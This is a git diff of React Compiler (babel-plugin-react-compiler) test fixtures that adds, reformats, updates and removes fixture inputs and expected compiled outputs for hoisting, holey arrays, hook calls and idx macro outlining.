diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-const-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-const-declaration.expect.md
index ae5bf41e3227..7939c9143d1d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-const-declaration.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-const-declaration.expect.md
@@ -25,18 +25,17 @@ export const FIXTURE_ENTRYPOINT = {
 import { c as _c } from "react/compiler-runtime";
 function hoisting() {
   const $ = _c(1);
-  let t0;
+  let foo;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    const foo = () => bar + baz;
+    foo = () => bar + baz;
 
     const bar = 3;
     const baz = 2;
-    t0 = foo();
-    $[0] = t0;
+    $[0] = foo;
   } else {
-    t0 = $[0];
+    foo = $[0];
   }
-  return t0;
+  return foo();
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-function-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-function-expression.expect.md
index 35501a8904aa..2df5c8ec44ef 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-function-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-function-expression.expect.md
@@ -30,9 +30,7 @@ function hoisting() {
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const foo = () => bar();
-
-    const bar = () => 1;
-
+    const bar = _temp;
     t0 = foo();
     $[0] = t0;
   } else {
@@ -40,6 +38,9 @@ function hoisting() {
   }
   return t0;
 }
+function _temp() {
+  return 1;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: hoisting,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-let-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-let-declaration.expect.md
new file mode 100644
index 000000000000..8d694a984aed
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-let-declaration.expect.md
@@ -0,0 +1,50 @@
+
+## Input
+
+```javascript
+function hoisting() {
+  let foo = () => {
+    return bar + baz;
+  };
+  let bar = 3;
+  let baz = 2;
+  return foo(); // OK: called outside of TDZ for bar/baz
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: hoisting,
+  params: [],
+  isComponent: false,
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function hoisting() {
+  const $ = _c(1);
+  let foo;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    foo = () => bar + baz;
+
+    let bar = 3;
+    let baz = 2;
+    $[0] = foo;
+  } else {
+    foo = $[0];
+  }
+  return foo();
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: hoisting,
+  params: [],
+  isComponent: false,
+};
+
+```
+      
+### Eval output
+(kind: ok) 5
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-let-declaration.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-let-declaration.js
new file mode 100644
index 000000000000..b9a02619f5c9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-let-declaration.js
@@ -0,0 +1,14 @@
+function hoisting() {
+  let foo = () => {
+    return bar + baz;
+  };
+  let bar = 3;
+  let baz = 2;
+  return foo(); // OK: called outside of TDZ for bar/baz
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: hoisting,
+  params: [],
+  isComponent: false,
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-within-lambda.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-within-lambda.expect.md
index 1baf31aa9be4..95338be52aa1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-within-lambda.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-within-lambda.expect.md
@@ -26,15 +26,9 @@ export const FIXTURE_ENTRYPOINT = {
 import { c as _c } from "react/compiler-runtime";
 function Component(t0) {
   const $ = _c(1);
+  const outer = _temp;
   let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    const outer = () => {
-      const inner = () => x;
-
-      const x = 3;
-      return inner();
-    };
-
     t1 = <div>{outer()}</div>;
     $[0] = t1;
   } else {
@@ -42,6 +36,11 @@ function Component(t0) {
   }
   return t1;
 }
+function _temp() {
+  const inner = () => x;
+  const x = 3;
+  return inner();
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-expr.expect.md
index 8b9111b01ab9..d31fa0b1cc92 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-expr.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-expr.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { CONST_STRING0 } from "shared-runtime";
+import {CONST_STRING0} from 'shared-runtime';
 
 function t(props) {
   let x = [, CONST_STRING0, props];
@@ -11,7 +11,7 @@ function t(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: t,
-  params: [{ a: 1, b: 2 }],
+  params: [{a: 1, b: 2}],
   isComponent: false,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-expr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-expr.js
index 09d9534c0044..62a3ef1d25c5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-expr.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-expr.js
@@ -1,4 +1,4 @@
-import { CONST_STRING0 } from "shared-runtime";
+import {CONST_STRING0} from 'shared-runtime';
 
 function t(props) {
   let x = [, CONST_STRING0, props];
@@ -7,6 +7,6 @@ function t(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: t,
-  params: [{ a: 1, b: 2 }],
+  params: [{a: 1, b: 2}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce-2.expect.md
index 6431b3b6bbc7..acf7e2d009ee 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce-2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce-2.expect.md
@@ -9,8 +9,8 @@ function t(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: t,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce-2.js
index 958e807444ac..c963c10e42e3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce-2.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce-2.js
@@ -5,6 +5,6 @@ function t(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: t,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce.expect.md
index f596cd1a3271..00f70eca4ead 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce.expect.md
@@ -9,8 +9,8 @@ function t(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: t,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce.js
index 82d37bba2ded..edf881e5f679 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce.js
@@ -5,6 +5,6 @@ function t(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: t,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array.expect.md
deleted file mode 100644
index 2260e4c51f62..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array.expect.md
+++ /dev/null
@@ -1,35 +0,0 @@
-
-## Input
-
-```javascript
-function t(props) {
-  let [, setstate] = useState();
-  setstate(1);
-  return props.foo;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: t,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
-};
-
-```
-
-## Code
-
-```javascript
-function t(props) {
-  const [, setstate] = useState();
-  setstate(1);
-  return props.foo;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: t,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
-};
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array.js
deleted file mode 100644
index ee65b1979443..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function t(props) {
-  let [, setstate] = useState();
-  setstate(1);
-  return props.foo;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: t,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-call-freezes-captured-memberexpr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-call-freezes-captured-memberexpr.expect.md
new file mode 100644
index 000000000000..957919516d09
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-call-freezes-captured-memberexpr.expect.md
@@ -0,0 +1,87 @@
+
+## Input
+
+```javascript
+import {useIdentity, Stringify, identity} from 'shared-runtime';
+
+function Foo({val1}) {
+  // `x={inner: val1}` should be able to be memoized
+  const x = {inner: val1};
+
+  // Any references to `x` after this hook call should be read-only
+  const cb = useIdentity(() => x.inner);
+
+  // With enableTransitivelyFreezeFunctionExpressions, it's invalid
+  // to write to `x` after it's been frozen.
+  // TODO: runtime validation for DX
+  const copy = identity(x);
+  return <Stringify copy={copy} cb={cb} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{val1: 1}],
+  sequentialRenders: [{val1: 1}, {val1: 1}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useIdentity, Stringify, identity } from "shared-runtime";
+
+function Foo(t0) {
+  const $ = _c(9);
+  const { val1 } = t0;
+  let t1;
+  if ($[0] !== val1) {
+    t1 = { inner: val1 };
+    $[0] = val1;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const x = t1;
+  let t2;
+  if ($[2] !== x.inner) {
+    t2 = () => x.inner;
+    $[2] = x.inner;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const cb = useIdentity(t2);
+  let t3;
+  if ($[4] !== x) {
+    t3 = identity(x);
+    $[4] = x;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  const copy = t3;
+  let t4;
+  if ($[6] !== cb || $[7] !== copy) {
+    t4 = <Stringify copy={copy} cb={cb} shouldInvokeFns={true} />;
+    $[6] = cb;
+    $[7] = copy;
+    $[8] = t4;
+  } else {
+    t4 = $[8];
+  }
+  return t4;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ val1: 1 }],
+  sequentialRenders: [{ val1: 1 }, { val1: 1 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"copy":{"inner":1},"cb":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
+<div>{"copy":{"inner":1},"cb":{"kind":"Function","result":1},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-call-freezes-captured-memberexpr.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-call-freezes-captured-memberexpr.tsx
new file mode 100644
index 000000000000..68e8e034379e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-call-freezes-captured-memberexpr.tsx
@@ -0,0 +1,21 @@
+import {useIdentity, Stringify, identity} from 'shared-runtime';
+
+function Foo({val1}) {
+  // `x={inner: val1}` should be able to be memoized
+  const x = {inner: val1};
+
+  // Any references to `x` after this hook call should be read-only
+  const cb = useIdentity(() => x.inner);
+
+  // With enableTransitivelyFreezeFunctionExpressions, it's invalid
+  // to write to `x` after it's been frozen.
+  // TODO: runtime validation for DX
+  const copy = identity(x);
+  return <Stringify copy={copy} cb={cb} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{val1: 1}],
+  sequentialRenders: [{val1: 1}, {val1: 1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-declaration-basic.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-declaration-basic.flow.expect.md
index 480eda1c3c2d..d23e808983d4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-declaration-basic.flow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-declaration-basic.flow.expect.md
@@ -2,11 +2,16 @@
 ## Input
 
 ```javascript
-// @flow @compilationMode(infer) 
+// @flow @compilationMode:"infer"
 export default hook useFoo(bar: number) {
   return [bar];
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [42],
+};
+
 ```
 
 ## Code
@@ -26,5 +31,12 @@ export default function useFoo(bar) {
   return t0;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [42],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) [42]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-declaration-basic.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-declaration-basic.flow.js
index 4d79da4afacb..13db3325ceb8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-declaration-basic.flow.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-declaration-basic.flow.js
@@ -1,4 +1,9 @@
-// @flow @compilationMode(infer) 
+// @flow @compilationMode:"infer"
 export default hook useFoo(bar: number) {
   return [bar];
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [42],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-inside-logical-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-inside-logical-expression.expect.md
index 1d42ecf1720e..51a94698c6d5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-inside-logical-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-inside-logical-expression.expect.md
@@ -3,7 +3,15 @@
 
 ```javascript
 function Component(props) {
-  const user = useFragment(graphql`...`, props.user) ?? {};
+  const user =
+    useFragment(
+      graphql`
+        fragment F on T {
+          id
+        }
+      `,
+      props.user
+    ) ?? {};
   return user.name;
 }
 
@@ -13,7 +21,15 @@ function Component(props) {
 
 ```javascript
 function Component(props) {
-  const user = useFragment(graphql`...`, props.user) ?? {};
+  const user =
+    useFragment(
+      graphql`
+        fragment F on T {
+          id
+        }
+      `,
+      props.user,
+    ) ?? {};
   return user.name;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-inside-logical-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-inside-logical-expression.js
index 483edd58bb12..81a52e8f871f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-inside-logical-expression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-inside-logical-expression.js
@@ -1,4 +1,12 @@
 function Component(props) {
-  const user = useFragment(graphql`...`, props.user) ?? {};
+  const user =
+    useFragment(
+      graphql`
+        fragment F on T {
+          id
+        }
+      `,
+      props.user
+    ) ?? {};
   return user.name;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-noAlias.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-noAlias.expect.md
index b93b26d1417a..329d57a03519 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-noAlias.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-noAlias.expect.md
@@ -2,23 +2,19 @@
 ## Input
 
 ```javascript
-import { useNoAlias } from "shared-runtime";
+import {useNoAlias} from 'shared-runtime';
 
 function Component(props) {
-  const item = { a: props.a };
-  const x = useNoAlias(
-    item,
-    () => {
-      console.log(props);
-    },
-    [props.a]
-  );
+  const item = {a: props.a};
+  const x = useNoAlias(item, () => {
+    console.log(props);
+  }, [props.a]);
   return [x, item];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: { id: 42 } }],
+  params: [{a: {id: 42}}],
   isComponent: true,
 };
 
@@ -41,18 +37,14 @@ function Component(props) {
     t0 = $[1];
   }
   const item = t0;
-  const x = useNoAlias(
-    item,
-    () => {
-      console.log(props);
-    },
-    [props.a],
-  );
+  const x = useNoAlias(item, () => {
+    console.log(props);
+  }, [props.a]);
   let t1;
-  if ($[2] !== x || $[3] !== item) {
+  if ($[2] !== item || $[3] !== x) {
     t1 = [x, item];
-    $[2] = x;
-    $[3] = item;
+    $[2] = item;
+    $[3] = x;
     $[4] = t1;
   } else {
     t1 = $[4];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-noAlias.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-noAlias.js
index b824adb8c123..c04890cbbb26 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-noAlias.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-noAlias.js
@@ -1,19 +1,15 @@
-import { useNoAlias } from "shared-runtime";
+import {useNoAlias} from 'shared-runtime';
 
 function Component(props) {
-  const item = { a: props.a };
-  const x = useNoAlias(
-    item,
-    () => {
-      console.log(props);
-    },
-    [props.a]
-  );
+  const item = {a: props.a};
+  const x = useNoAlias(item, () => {
+    console.log(props);
+  }, [props.a]);
   return [x, item];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: { id: 42 } }],
+  params: [{a: {id: 42}}],
   isComponent: true,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-ref-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-ref-callback.expect.md
new file mode 100644
index 000000000000..3056a60a3a97
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-ref-callback.expect.md
@@ -0,0 +1,54 @@
+
+## Input
+
+```javascript
+import {useEffect, useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef();
+  useFoo(() => {
+    ref.current = 42;
+  });
+}
+
+function useFoo(x) {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useEffect, useRef } from "react";
+
+function Component(props) {
+  const $ = _c(1);
+  const ref = useRef();
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      ref.current = 42;
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  useFoo(t0);
+}
+
+function useFoo(x) {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) 
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-ref-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-ref-callback.js
new file mode 100644
index 000000000000..ab496e0adf01
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-ref-callback.js
@@ -0,0 +1,15 @@
+import {useEffect, useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef();
+  useFoo(() => {
+    ref.current = 42;
+  });
+}
+
+function useFoo(x) {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hooks-with-prefix.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hooks-with-prefix.expect.md
deleted file mode 100644
index ac9b3b644631..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hooks-with-prefix.expect.md
+++ /dev/null
@@ -1,100 +0,0 @@
-
-## Input
-
-```javascript
-// @hookPattern:".*\b(use[^$]+)$"
-
-import * as React from "react";
-import { makeArray, useHook } from "shared-runtime";
-
-const React$useState = React.useState;
-const React$useMemo = React.useMemo;
-const Internal$Reassigned$useHook = useHook;
-
-function Component() {
-  const [state, setState] = React$useState(0);
-  const object = Internal$Reassigned$useHook();
-  const json = JSON.stringify(object);
-  const doubledArray = React$useMemo(() => {
-    return makeArray(state);
-  }, [state]);
-  return (
-    <div>
-      {doubledArray.join("")}
-      {json}
-    </div>
-  );
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{}],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @hookPattern:".*\b(use[^$]+)$"
-
-import * as React from "react";
-import { makeArray, useHook } from "shared-runtime";
-
-const React$useState = React.useState;
-const React$useMemo = React.useMemo;
-const Internal$Reassigned$useHook = useHook;
-
-function Component() {
-  const $ = _c(8);
-  const [state] = React$useState(0);
-  const object = Internal$Reassigned$useHook();
-  let t0;
-  if ($[0] !== object) {
-    t0 = JSON.stringify(object);
-    $[0] = object;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  const json = t0;
-  let t1;
-  let t2;
-  if ($[2] !== state) {
-    t1 = makeArray(state);
-    const doubledArray = t1;
-
-    t2 = doubledArray.join("");
-    $[2] = state;
-    $[3] = t2;
-    $[4] = t1;
-  } else {
-    t2 = $[3];
-    t1 = $[4];
-  }
-  let t3;
-  if ($[5] !== t2 || $[6] !== json) {
-    t3 = (
-      <div>
-        {t2}
-        {json}
-      </div>
-    );
-    $[5] = t2;
-    $[6] = json;
-    $[7] = t3;
-  } else {
-    t3 = $[7];
-  }
-  return t3;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{}],
-};
-
-```
-      
-### Eval output
-(kind: ok) <div>0{"a":0,"b":"value1","c":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hooks-with-prefix.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hooks-with-prefix.js
deleted file mode 100644
index 73fc8fc50a82..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hooks-with-prefix.js
+++ /dev/null
@@ -1,28 +0,0 @@
-// @hookPattern:".*\b(use[^$]+)$"
-
-import * as React from "react";
-import { makeArray, useHook } from "shared-runtime";
-
-const React$useState = React.useState;
-const React$useMemo = React.useMemo;
-const Internal$Reassigned$useHook = useHook;
-
-function Component() {
-  const [state, setState] = React$useState(0);
-  const object = Internal$Reassigned$useHook();
-  const json = JSON.stringify(object);
-  const doubledArray = React$useMemo(() => {
-    return makeArray(state);
-  }, [state]);
-  return (
-    <div>
-      {doubledArray.join("")}
-      {json}
-    </div>
-  );
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{}],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining-wildcard.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining-wildcard.expect.md
new file mode 100644
index 000000000000..e004ef246abf
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining-wildcard.expect.md
@@ -0,0 +1,113 @@
+
+## Input
+
+```javascript
+// @customMacros:"idx.*.b"
+
+function Component(props) {
+  // outlined
+  const groupName1 = idx(props, _ => _.group.label);
+  // outlined
+  const groupName2 = idx.a(props, _ => _.group.label);
+  // not outlined
+  const groupName3 = idx.a.b(props, _ => _.group.label);
+  // not outlined
+  const groupName4 = idx.hello_world.b(props, _ => _.group.label);
+  // outlined
+  const groupName5 = idx.hello_world.b.c(props, _ => _.group.label);
+  return (
+    <div>
+      {groupName1}
+      {groupName2}
+      {groupName3}
+      {groupName4}
+      {groupName5}
+    </div>
+  );
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @customMacros:"idx.*.b"
+
+function Component(props) {
+  const $ = _c(16);
+  let t0;
+  if ($[0] !== props) {
+    t0 = idx(props, (_) => _.group.label);
+    $[0] = props;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const groupName1 = t0;
+  let t1;
+  if ($[2] !== props) {
+    t1 = idx.a(props, (__0) => __0.group.label);
+    $[2] = props;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  const groupName2 = t1;
+  let t2;
+  if ($[4] !== props) {
+    t2 = idx.a.b(props, (__1) => __1.group.label);
+    $[4] = props;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  const groupName3 = t2;
+  let t3;
+  if ($[6] !== props) {
+    t3 = idx.hello_world.b(props, (__2) => __2.group.label);
+    $[6] = props;
+    $[7] = t3;
+  } else {
+    t3 = $[7];
+  }
+  const groupName4 = t3;
+  let t4;
+  if ($[8] !== props) {
+    t4 = idx.hello_world.b.c(props, (__3) => __3.group.label);
+    $[8] = props;
+    $[9] = t4;
+  } else {
+    t4 = $[9];
+  }
+  const groupName5 = t4;
+  let t5;
+  if (
+    $[10] !== groupName1 ||
+    $[11] !== groupName2 ||
+    $[12] !== groupName3 ||
+    $[13] !== groupName4 ||
+    $[14] !== groupName5
+  ) {
+    t5 = (
+      <div>
+        {groupName1}
+        {groupName2}
+        {groupName3}
+        {groupName4}
+        {groupName5}
+      </div>
+    );
+    $[10] = groupName1;
+    $[11] = groupName2;
+    $[12] = groupName3;
+    $[13] = groupName4;
+    $[14] = groupName5;
+    $[15] = t5;
+  } else {
+    t5 = $[15];
+  }
+  return t5;
+}
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining-wildcard.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining-wildcard.js
new file mode 100644
index 000000000000..5a362bbbe71c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining-wildcard.js
@@ -0,0 +1,23 @@
+// @customMacros:"idx.*.b"
+
+function Component(props) {
+  // outlined
+  const groupName1 = idx(props, _ => _.group.label);
+  // outlined
+  const groupName2 = idx.a(props, _ => _.group.label);
